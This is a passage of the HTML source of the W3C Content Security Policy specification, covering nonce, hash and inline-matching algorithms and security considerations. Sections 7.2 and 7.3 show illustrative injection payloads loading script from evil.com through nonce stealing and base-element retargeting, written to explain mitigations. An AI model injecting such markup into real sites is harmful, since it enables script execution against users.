id=\"ref-for-nested-browsing-context⑧\">nested browsing context</a>, return <code>frame-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>audio</code>\"\n       <dt data-md=\"\">\"<code>track</code>\"\n       <dt data-md=\"\">\"<code>video</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>media-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>font</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>font-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>image</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>img-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>style</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>style-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>script</code>\"\n       <dt data-md=\"\">\"<code>xslt</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>script-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\"<code>sharedworker</code>\"\n       <dt data-md=\"\">\"<code>worker</code>\"\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>worker-src</code>.</p>\n        </ol>\n      </dl>\n     <li data-md=\"\">\n      <p>Return <code>null</code>.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.6.2\" id=\"matching-elements\"><span class=\"secno\">6.6.2. </span><span class=\"content\">Element Matching Algorithms</span><a class=\"self-link\" href=\"#matching-elements\"></a></h4>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Is element nonceable?\" data-level=\"6.6.2.1\" id=\"is-element-nonceable\"><span class=\"secno\">6.6.2.1. </span><span class=\"content\"> Is <var>element</var> nonceable? </span><a class=\"self-link\" href=\"#is-element-nonceable\"></a></h5>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element⑤\">Element</a></code> (<var>element</var>), this algorithm returns \"<code>Nonceable</code>\" if\n  a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source⑥\"><code>nonce-source</code></a> expression can match the element (as discussed\n  in <a href=\"#security-nonce-stealing\">§7.2 Nonce Stealing</a>), and \"<code>Not Nonceable</code>\" if such expressions\n  should not be applied.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>element</var> does not have an attribute named \"<code>nonce</code>\", return \"<code>Not Nonceable</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>element</var> is a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script⑤\">script</a></code> element, then for each <var>attribute</var> in <var>element</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>attribute</var>’s name is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①⑥\">ASCII case-insensitive</a> match for\n  the string \"<code>&lt;script</code>\" or the string\n  \"<code>&lt;style</code>\", return \"<code>Not Nonceable</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>attribute</var>’s value contains an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①⑦\">ASCII case-insensitive</a> match\n  the string \"<code>&lt;script</code>\" or the string\n  \"<code>&lt;style</code>\", return \"<code>Not Nonceable</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>element</var> had a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/parsing.html#parse-error-duplicate-attribute\" id=\"ref-for-parse-error-duplicate-attribute\">duplicate-attribute</a> <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-script-parse-error\" id=\"ref-for-concept-script-parse-error\">parse error</a> during tokenization, return\n  \"<code>Not Nonceable</code>\".</p>\n      <p class=\"issue\" id=\"issue-e2d81ee7\"><a class=\"self-link\" href=\"#issue-e2d81ee7\"></a> We need some sort of hook in HTML to record this error if we’re\n  planning on using it here. <a href=\"https://github.com/whatwg/html/issues/3257\">&lt;https://github.com/whatwg/html/issues/3257></a></p>\n     <li data-md=\"\">\n      <p>Return \"<code>Nonceable</code>\".</p>\n    </ol>\n    <p class=\"issue\" id=\"issue-c41e2850\"><a class=\"self-link\" href=\"#issue-c41e2850\"></a> This processing is meant to mitigate the risk\n  of dangling markup attacks that steal the nonce from an existing element\n  in order to load injected script. It is fairly expensive, however, as it\n  requires that we walk through all attributes and their values in order to\n  determine whether the script should execute. Here, we try to minimize the\n  impact by doing this check only for <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script⑥\">script</a></code> elements when a nonce is\n  present, but we should probably consider this algorithm as \"at risk\" until\n  we know its impact. <a href=\"https://github.com/w3c/webappsec-csp/issues/98\">&lt;https://github.com/w3c/webappsec-csp/issues/98></a></p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does a source list allow all inline behavior for type?\" data-level=\"6.6.2.2\" id=\"allow-all-inline\"><span class=\"secno\">6.6.2.2. </span><span class=\"content\"> Does a source list allow all inline behavior for <var>type</var>? </span><a class=\"self-link\" href=\"#allow-all-inline\"></a></h5>\n    <p>A <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①⑤\">source list</a> <dfn class=\"dfn-paneled\" data-dfn-for=\"source list\" data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"allow all inline behavior\" id=\"source-list-allows-all-inline-behavior\">allows all inline behavior</dfn> of a given <var>type</var> if it contains the <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source④\"><code>keyword-source</code></a> expression <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline③\"><code>'unsafe-inline'</code></a>, and does not override that\n  expression as described in the following algorithm:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①⑥\">source list</a> (<var>list</var>) and a string (<var>type</var>), the following\n  algorithm returns \"<code>Allows</code>\" if all inline content of a given <var>type</var> is\n  allowed and \"<code>Does Not Allow</code>\" otherwise.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>allow all inline</var> be <code>false</code>.</p>\n     <li data-md=\"\">\n      <p>For each <var>expression</var> in <var>list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source⑦\"><code>nonce-source</code></a> or <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source⑦\"><code>hash-source</code></a> grammar, return \"<code>Does Not Allow</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>type</var> is \"<code>script</code>\" or \"<code>script attribute</code>\" and <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source⑤\">keyword-source</a> \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic⑤\"><code>'strict-dynamic'</code></a>\", return \"<code>Does Not Allow</code>\".</p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> <code>'strict-dynamic'</code> only applies to scripts, not other resource\n  types. Usage is explained in more detail in <a href=\"#strict-dynamic-usage\">§8.2 Usage of \"'strict-dynamic'\"</a>.</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①⑧\">ASCII case-insensitive</a> match for the <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source⑥\"><code>keyword-source</code></a> \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline④\"><code>'unsafe-inline'</code></a>\",\n  set <var>allow all inline</var> to <code>true</code>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>allow all inline</var> is <code>true</code>, return \"<code>Allows</code>\".\n  Otherwise, return \"<code>Does Not Allow</code>\".</p>\n    </ol>\n    <div class=\"example\" id=\"example-da6a7e8f\">\n     <a class=\"self-link\" href=\"#example-da6a7e8f\"></a> <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①⑦\">Source lists</a> that <a data-link-type=\"dfn\" href=\"#source-list-allows-all-inline-behavior\" id=\"ref-for-source-list-allows-all-inline-behavior\">allow all inline behavior</a>: \n<pre>'unsafe-inline' http://a.com http://b.com\n'unsafe-inline'\n</pre>\n     <p><a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①⑧\">Source lists</a> that do not <a data-link-type=\"dfn\" href=\"#source-list-allows-all-inline-behavior\" id=\"ref-for-source-list-allows-all-inline-behavior①\">allow all inline behavior</a> due to\n    the presence of nonces and/or hashes, or absence of '<code>unsafe-inline</code>':</p>\n<pre>'sha512-321cba' 'nonce-abc'\nhttp://example.com 'unsafe-inline' 'nonce-abc'\n</pre>\n     <p><a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①⑨\">Source lists</a> that do not <a data-link-type=\"dfn\" href=\"#source-list-allows-all-inline-behavior\" id=\"ref-for-source-list-allows-all-inline-behavior②\">allow all inline behavior</a> when <var>type</var> is\n     '<code>script</code>' or '<code>script attribute</code>' due to the presence of\n     '<code>strict-dynamic</code>', but <a data-link-type=\"dfn\" href=\"#source-list-allows-all-inline-behavior\" id=\"ref-for-source-list-allows-all-inline-behavior③\">allow all inline behavior</a> otherwise:</p>\n<pre>'unsafe-inline' 'strict-dynamic'\nhttp://example.com 'strict-dynamic' 'unsafe-inline'\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does element match source list for type and source?\" data-level=\"6.6.2.3\" id=\"match-element-to-source-list\"><span class=\"secno\">6.6.2.3. </span><span class=\"content\"> Does <var>element</var> match source list for <var>type</var> and <var>source</var>? </span><a class=\"self-link\" href=\"#match-element-to-source-list\"></a></h5>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element⑥\">Element</a></code> (<var>element</var>), a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists②⓪\">source list</a> (<var>list</var>), a string\n  (<var>type</var>), and a string (<var>source</var>), this algorithm returns \"<code>Matches</code>\" or\n  \"<code>Does Not Match</code>\".</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>source</var> contains the value of a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script⑦\">script</a></code> element’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#dom-script-text\" id=\"ref-for-dom-script-text\">text</a></code> IDL attribute, the value of a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-style-element\" id=\"ref-for-the-style-element①\">style</a></code> element’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#dom-node-textcontent\" id=\"ref-for-dom-node-textcontent\">textContent</a></code> IDL attribute, or the value of one of a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script⑧\">script</a></code> element’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#event-handler-idl-attributes\" id=\"ref-for-event-handler-idl-attributes\">event handler IDL attribute</a>.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> This means that <var>source</var> will be interpreted with the encoding\n  of the page in which it is embedded. See the integration points\n  in <a href=\"#html-integration\">§4.2 Integration with HTML</a> for more detail.</p>\n     <li data-md=\"\">\n      <p>If <a href=\"#allow-all-inline\">§6.6.2.2 Does a source list allow all inline behavior for type?</a> returns \"<code>Allows</code>\" given <var>list</var> and <var>type</var>,\n  return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>script</code>\" or \"<code>style</code>\", and <a href=\"#is-element-nonceable\">§6.6.2.1 Is element nonceable?</a> returns \"<code>Nonceable</code>\" when executed upon <var>element</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>expression</var> in <var>list</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source⑧\"><code>nonce-source</code></a> grammar,\n  and <var>element</var> has a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/urls-and-fetching.html#dom-noncedelement-nonce\" id=\"ref-for-dom-noncedelement-nonce\">nonce</a></code> attribute whose value is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive⑤\">case-sensitive</a> match for <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value⑥\"><code>base64-value</code></a> part, return \"<code>Matches</code>\".</p>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> Nonces only apply to inline <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script⑨\">script</a></code> and inline <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-style-element\" id=\"ref-for-the-style-element②\">style</a></code>, not to\n  attributes of either element.</p>\n     <li data-md=\"\">\n      <p>Let <var>hashes match attributes</var> be <code>false</code>.</p>\n     <li data-md=\"\">\n      <p>For each <var>expression</var> in <var>list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive①⑨\">ASCII case-insensitive</a> match for the <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source⑦\"><code>keyword-source</code></a> \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-hashed-attributes\" id=\"ref-for-grammardef-unsafe-hashed-attributes\"><code>'unsafe-hashed-attributes'</code></a>\",\n  set <var>hashes match attributes</var> to <code>true</code>. Break out of the loop.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>script</code>\" or \"<code>style</code>\", or <var>hashes match attributes</var> is <code>true</code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>expression</var> in <var>list</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source⑧\"><code>hash-source</code></a> grammar:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Let <var>algorithm</var> be <code>null</code>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\" id=\"ref-for-grammardef-hash-algorithm②\"><code>hash-algorithm</code></a> part is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive②⓪\">ASCII case-insensitive</a> match for \"sha256\", set <var>algorithm</var> to <a data-link-type=\"dfn\" href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf#\">SHA-256</a>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\" id=\"ref-for-grammardef-hash-algorithm③\"><code>hash-algorithm</code></a> part is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive②①\">ASCII case-insensitive</a> match for \"sha384\", set <var>algorithm</var> to <a data-link-type=\"dfn\" href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf#\">SHA-384</a>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\" id=\"ref-for-grammardef-hash-algorithm④\"><code>hash-algorithm</code></a> part is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive②②\">ASCII case-insensitive</a> match for \"sha512\", set <var>algorithm</var> to <a data-link-type=\"dfn\" href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf#\">SHA-512</a>.</p>\n           <li data-md=\"\">\n            <p>If <var>algorithm</var> is not <code>null</code>:</p>\n            <ol>\n             <li data-md=\"\">\n              <p>Let <var>actual</var> be the result of <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc4648#section-4\" id=\"ref-for-section-4①\">base64 encoding</a> the\n  result of applying <var>algorithm</var> to <var>source</var>.</p>\n             <li data-md=\"\">\n              <p>Let <var>expected</var> be <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value⑦\"><code>base64-value</code></a> part,\n  with all '<code>-</code>' characters replaced with '<code>+</code>', and all '<code>_</code>' characters\n  replaced with '<code>/</code>'.</p>\n              <p class=\"note\" role=\"note\"><span>Note:</span> This replacement normalizes hashes expressed in <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc4648#section-5\" id=\"ref-for-section-5①\">base64url\n  encoding</a> into <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc4648#section-4\" id=\"ref-for-section-4②\">base64 encoding</a> for matching.</p>\n             <li data-md=\"\">\n              <p>If <var>actual</var> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive⑥\">case-sensitive</a> match for <var>expected</var>, return\n  \"<code>Matches</code>\".</p>\n            </ol>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> Hashes apply to inline <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①⓪\">script</a></code> and inline <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-style-element\" id=\"ref-for-the-style-element③\">style</a></code>. If the\n  \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-hashed-attributes\" id=\"ref-for-grammardef-unsafe-hashed-attributes①\"><code>'unsafe-hashed-attributes'</code></a>\" source expression is present,\n  they will also apply to event handlers and style attributes.</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"7\" id=\"security-considerations\"><span class=\"secno\">7. </span><span class=\"content\">Security and Privacy Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"7.1\" id=\"security-nonces\"><span class=\"secno\">7.1. </span><span class=\"content\">Nonce Reuse</span><a class=\"self-link\" href=\"#security-nonces\"></a></h3>\n    <p>Nonces override the other restrictions present in the directive in which\n  they’re delivered. It is critical, then, that they remain unguessable, as\n  bypassing a resource’s policy is otherwise trivial.</p>\n    <p>If a server delivers a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source⑨\">nonce-source</a> expression as part of a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤⑧\">policy</a>, the server MUST generate a unique value each time it\n  transmits a policy. The generated value SHOULD be at least 128 bits long\n  (before encoding), and SHOULD be generated via a cryptographically secure\n  random number generator in order to ensure that the value is difficult for\n  an attacker to predict.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> Using a nonce to allow inline script or style is less secure than\n  not using a nonce, as nonces override the restrictions in the directive in\n  which they are present. An attacker who can gain access to the nonce can\n  execute whatever script they like, whenever they like. That said, nonces\n  provide a substantial improvement over <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline⑤\">'unsafe-inline'</a> when\n  layering a content security policy on top of old code. When considering <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline⑥\">'unsafe-inline'</a>, authors are encouraged to consider nonces\n  (or hashes) instead.</p>\n    <h3 class=\"heading settled\" data-level=\"7.2\" id=\"security-nonce-stealing\"><span class=\"secno\">7.2. </span><span class=\"content\">Nonce Stealing</span><a class=\"self-link\" href=\"#security-nonce-stealing\"></a></h3>\n    <p>Dangling markup attacks such as those discussed in <a data-link-type=\"biblio\" href=\"#biblio-filedescriptor-2015\">[FILEDESCRIPTOR-2015]</a> can be used to repurpose a page’s legitimate nonces for injections. For\n  example, given an injection point before a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①①\">script</a></code> element:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;p></span>Hello, [INJECTION POINT]<span class=\"nt\">&lt;/p></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">nonce=</span><span class=\"s\">abc</span> <span class=\"na\">src=</span><span class=\"s\">/good.js</span><span class=\"nt\">>&lt;/script></span>\n</pre>\n    <p>If an attacker injects the string \"<code>&lt;script src='https://evil.com/evil.js' </code>\",\n  then the browser will receive the following:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;p></span>Hello, <span class=\"nt\">&lt;script </span><span class=\"na\">src=</span><span class=\"s\">'https://evil.com/evil.js'</span> &lt;/<span class=\"na\">p</span><span class=\"nt\">></span>\n<span class=\"o\">&lt;</span>script nonce<span class=\"o\">=</span>abc src<span class=\"o\">=</span>/good.js><span class=\"nt\">&lt;/script></span>\n</pre>\n    <p>It will then parse that code, ending up with a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①②\">script</a></code> element with a <code>src</code> attribute pointing to a malicious payload, an attribute named <code>&lt;/p></code>,\n  an attribute named \"<code>&lt;script</code>\", a <code>nonce</code> attribute, and a\n  second <code>src</code> attribute which is helpfully discarded as duplicate by the parser.</p>\n    <p>The <a href=\"#is-element-nonceable\">§6.6.2.1 Is element nonceable?</a> algorithm attempts to mitigate this specific\n  attack by walking through <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①③\">script</a></code> element attributes, looking for the\n  string \"<code>&lt;script</code>\" or \"<code>&lt;style</code>\" in their names or values.</p>\n    <h3 class=\"heading settled\" data-level=\"7.3\" id=\"security-nonce-retargeting\"><span class=\"secno\">7.3. </span><span class=\"content\">Nonce Retargeting</span><a class=\"self-link\" href=\"#security-nonce-retargeting\"></a></h3>\n    <p>Nonces bypass <a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source⑤\">host-source</a> expressions, enabling developers to load code from any\n  origin. This, generally, is fine, and desirable from the developer’s perspective. However, if an\n  attacker can inject a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\" id=\"ref-for-the-base-element③\">base</a></code> element, then an otherwise safe page can be subverted when relative\n  URLs are resolved. That is, on <code>https://example.com/</code> the following code will load <code>https://example.com/good.js</code>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;script </span><span class=\"na\">nonce=</span><span class=\"s\">abc</span> <span class=\"na\">src=</span><span class=\"s\">/good.js</span><span class=\"nt\">>&lt;/script></span>\n</pre>\n    <p>However, the following will load <code>https://evil.com/good.js</code>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;base</span> <span class=\"na\">href=</span><span class=\"s\">\"https://evil.com\"</span><span class=\"nt\">></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">nonce=</span><span class=\"s\">abc</span> <span class=\"na\">src=</span><span class=\"s\">/good.js</span><span class=\"nt\">>&lt;/script></span>\n</pre>\n    <p>To mitigate this risk, it is advisable to set an explicit <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\" id=\"ref-for-the-base-element④\">base</a></code> element on every page, or to\n  limit the ability of an attacker to inject their own <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\" id=\"ref-for-the-base-element⑤\">base</a></code> element by setting a <a data-link-type=\"dfn\" href=\"#base-uri\" id=\"ref-for-base-uri①\"><code>base-uri</code></a> directive in your page’s policy. For example, <code>base-uri 'none'</code>.</p>\n    <h3 class=\"heading settled\" data-level=\"7.4\" id=\"security-css-parsing\"><span class=\"secno\">7.4. </span><span class=\"content\">CSS Parsing</span><a class=\"self-link\" href=\"#security-css-parsing\"></a></h3>\n    <p>The <a data-link-type=\"dfn\" href=\"#style-src\" id=\"ref-for-style-src②\">style-src</a> directive restricts the locations from which the\n  protected resource can load styles. However, if the user agent uses a lax CSS\n  parsing algorithm, an attacker might be able to trick the user agent into\n  accepting malicious \"stylesheets\" hosted by an otherwise trustworthy origin.</p>\n    <p>These attacks are similar to the CSS cross-origin data leakage attack\n  described by Chris Evans in 2009 <a data-link-type=\"biblio\" href=\"#biblio-css-abuse\">[CSS-ABUSE]</a>. User agents SHOULD defend\n  against both attacks using the same mechanism: stricter CSS parsing rules for\n  style sheets with improper MIME types.</p>\n    <h3 class=\"heading settled\" data-level=\"7.5\" id=\"security-violation-reports\"><span class=\"secno\">7.5. </span><span class=\"content\">Violation Reports</span><a class=\"self-link\" href=\"#security-violation-reports\"></a></h3>\n    <p>The violation reporting mechanism in this document has been designed to\n  mitigate the risk that a malicious web site could use violation reports to\n  probe the behavior of other servers. For example, consider a malicious web\n  site that allows <code>https://example.com</code> as a source of images. If the\n  malicious site attempts to load <code>https://example.com/login</code> as an image, and\n  the <code>example.com</code> server redirects to an identity provider (e.g. <code>identityprovider.example.net</code>), CSP will block the request. If violation\n  reports contained the full blocked URL, the violation report might contain\n  sensitive information contained in the redirected URL, such as session\n  identifiers or purported identities. For this reason, the user agent includes\n  only the URL of the original request, not the redirect target.</p>\n    <p>Note also that violation reports should be considered attacker-controlled data. Developers who\n  wish to collect violation reports in a dashboard or similar service should be careful to properly\n  escape their content before rendering it (and should probably themselves use CSP to further\n  mitigate the risk of injection). This is especially true for the \"<code>script-sample</code>\" property of\n  violation reports, and the <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sample\" id=\"ref-for-dom-securitypolicyviolationevent-sample②\">sample</a></code> property of <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\" id=\"ref-for-securitypolicyviolationevent③\">SecurityPolicyViolationEvent</a></code>, which are both completely attacker-controlled strings.</p>\n    <h3 class=\"heading settled\" data-level=\"7.6\" id=\"source-list-paths-and-redirects\"><span class=\"secno\">7.6. </span><span class=\"content\">Paths and Redirects</span><a class=\"self-link\" href=\"#source-list-paths-and-redirects\"></a></h3>\n    <p>To avoid leaking path information cross-origin (as discussed\n  in Egor Homakov’s <a href=\"http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n  the matching algorithm ignores the path component of a source\n  expression if the resource being loaded is the result of a\n  redirect. For example, given a page with an active policy of <code><a data-link-type=\"dfn\" href=\"#img-src\" id=\"ref-for-img-src③\">img-src</a> example.com example.org/path</code>:</p>\n    <ul>\n     <li data-md=\"\">\n      <p>Directly loading <code>https://example.org/not-path</code> would fail, as it doesn’t match the policy.</p>\n     <li data-md=\"\">\n      <p>Directly loading <code>https://example.com/redirector</code> would pass, as it matches <code>example.com</code>.</p>\n     <li data-md=\"\">\n      <p>Assuming that <code>https://example.com/redirector</code> delivered a redirect response pointing to <code>https://example.org/not-path</code>,\n  the load would succeed, as the initial URL matches <code>example.com</code>,\n  and the redirect target matches <code>example.org/path</code> if we ignore its path component.</p>\n    </ul>\n    <p>This restriction reduces the granularity of a document’s policy when redirects are in play, a\n  necessary compromise to avoid brute-forced information leaks of this type.</p>\n    <p>The relatively long thread <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a> from public-webappsec@w3.org has more detailed discussion around alternate proposals.</p>\n    <h3 class=\"heading settled\" data-level=\"7.7\" id=\"security-secure-upgrades\"><span class=\"secno\">7.7. </span><span class=\"content\">Secure Upgrades</span><a class=\"self-link\" href=\"#security-secure-upgrades\"></a></h3>\n    <p>To mitigate one variant of history-scanning attacks like Yan Zhu’s <a href=\"http://diracdeltas.github.io/sniffly/\">Sniffly</a>, CSP will not allow pages to lock\n  themselves into insecure URLs via policies like <code>script-src http://example.com</code>. As described in <a href=\"#match-schemes\">§6.6.1.7 scheme-part matching</a>, the scheme portion of a source expression will always allow upgrading to a\n  secure variant.</p>\n    <h3 class=\"heading settled\" data-level=\"7.8\" id=\"security-inherit-csp\"><span class=\"secno\">7.8. </span><span class=\"content\"> CSP Inheriting to avoid bypasses </span><a class=\"self-link\" href=\"#security-inherit-csp\"></a></h3>\n    <p>As described in <a href=\"#initialize-document-csp\">§4.2.1 Initialize a Document's CSP list</a> and <a 